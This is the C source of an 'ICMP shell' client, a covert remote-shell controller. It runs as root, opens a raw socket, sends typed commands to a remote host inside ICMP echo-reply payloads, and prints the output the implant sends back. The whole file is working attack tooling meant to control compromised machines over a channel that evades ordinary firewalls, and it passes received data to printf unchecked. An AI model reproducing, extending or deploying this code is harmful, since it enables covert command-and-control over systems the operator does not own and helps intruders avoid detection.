/* ICMP shell */

#include <time.h>
#include <netdb.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <netinet/ip.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h>

#define ERROR -1

#define LID   12345

unsigned int  RID;
unsigned long host, myip;
int state = 0;

void send_connect(unsigned long to, unsigned int id,char *data);
void get_string_and_send(void);
void show_shit(char *buf);

unsigned long int res(char *p);
u_short  cksum(u_short *buf, int nwords);

void main(int argc, char **argv)
{
  fd_set f;
  int i, lsock;
  char   buf[512];

  struct iphdr *ip     = (struct iphdr   *)buf;
  struct icmphdr *icmp = (struct icmphdr *)(buf+sizeof(struct iphdr));

  if(argc < 3)
    printf("%s <host> <rid>\n",*argv),exit(-1);

  if(geteuid() != 0)
    printf("Needs to be run as root\n"),exit(-1);
  
  host  = res(argv[1]);
  RID   = atoi(argv[2]);
  
  if ((lsock = socket(AF_INET, SOCK_RAW, 1)) == ERROR) {
	perror("socket");
	exit(ERROR);
  }

  send_connect(host, RID, "a");
  state = 1;
  fcntl(lsock, F_SETFL, O_NONBLOCK);
  fcntl(fileno(stdin), F_SETFL, O_NONBLOCK);
  
  while(1) {
    fflush(stdout);
    fflush(stdin);

    FD_ZERO(&f);
    FD_SET(fileno(stdin), &f);
    FD_SET(lsock, &f);

    if (select(FD_SETSIZE, &f, NULL, NULL, NULL)) {
       if (FD_ISSET(fileno(stdin),&f))
          get_string_and_send();

       if(FD_ISSET(lsock, &f)) {

        if ((i = read(lsock, buf, 512)) == ERROR) {
		perror("read");
		close(lsock);
		exit(ERROR);
        }

        if (ip->protocol == 1 && icmp->type == 0 && 
            ntohs(icmp->un.echo.id) == LID) {

          if (state == 2)
             show_shit(buf);

          if (state == 1) {
             state++;
             printf("Connected.\n");
          }

          myip =ip->daddr;
        }              
      } 
    }
  }  
}

unsigned long int res(char *p)
{
  struct   hostent *h;
  unsigned long int rv;
    
  if ((h = gethostbyname(p)) == NULL) {
	perror("gethostbyname");
	exit(ERROR);
  }

  if(h != NULL) memcpy(&rv, h->h_addr, h->h_length);
  else rv = inet_addr(p);

  return rv;
}

void send_connect(unsigned long to, unsigned int id,char *data)
{
  int i, ssock;

  char buf[512];
  char *bla = (buf+sizeof(struct icmphdr));

  struct sockaddr_in sa;
  struct icmphdr *icmp = (struct icmphdr *)buf;
  
  if ((ssock = socket(AF_INET, SOCK_RAW, 1)) == ERROR) {
	perror("ssock");
	exit(ERROR);
  }

  bzero(buf, 512);

  strcpy(bla, data);

  icmp->type         = 0;
  icmp->un.echo.id   = htons(id);
  icmp->checksum     = cksum((u_short *)icmp,(9+strlen(data))>>1);
  sa.sin_family      = AF_INET;
  sa.sin_addr.s_addr = to;

  if ((i = sendto(ssock, buf, (9+strlen(data)), 0, (struct sockaddr *)&sa,
           sizeof(sa))) == ERROR) {
	perror("sendto");
	close(ssock);
	exit(ERROR);
  }

  close(ssock);
}

void get_string_and_send(void)
{
  char buf[512];
  bzero(buf, 512);

  if ((read(fileno(stdin), buf, 512)) == ERROR) {
	perror("read");
	exit(ERROR);
  }

  buf[strlen(buf)-1] = 0;
  send_connect(host, RID, buf);
  if (strcasecmp(buf, "exit") == 0)
    exit(1);
}                    

void show_shit(char *buf)
{
  printf((buf+sizeof(struct iphdr)+sizeof(struct icmphdr)));
}

u_short cksum(u_short *buf, int nwords) {
        unsigned long sum;

        for ( sum = 0; nwords > 0; nwords -- )
                sum += *buf++;
        sum = ( sum >> 16) + ( sum & 0xffff );
        sum += ( sum >> 16 );
        return ~sum ;
}


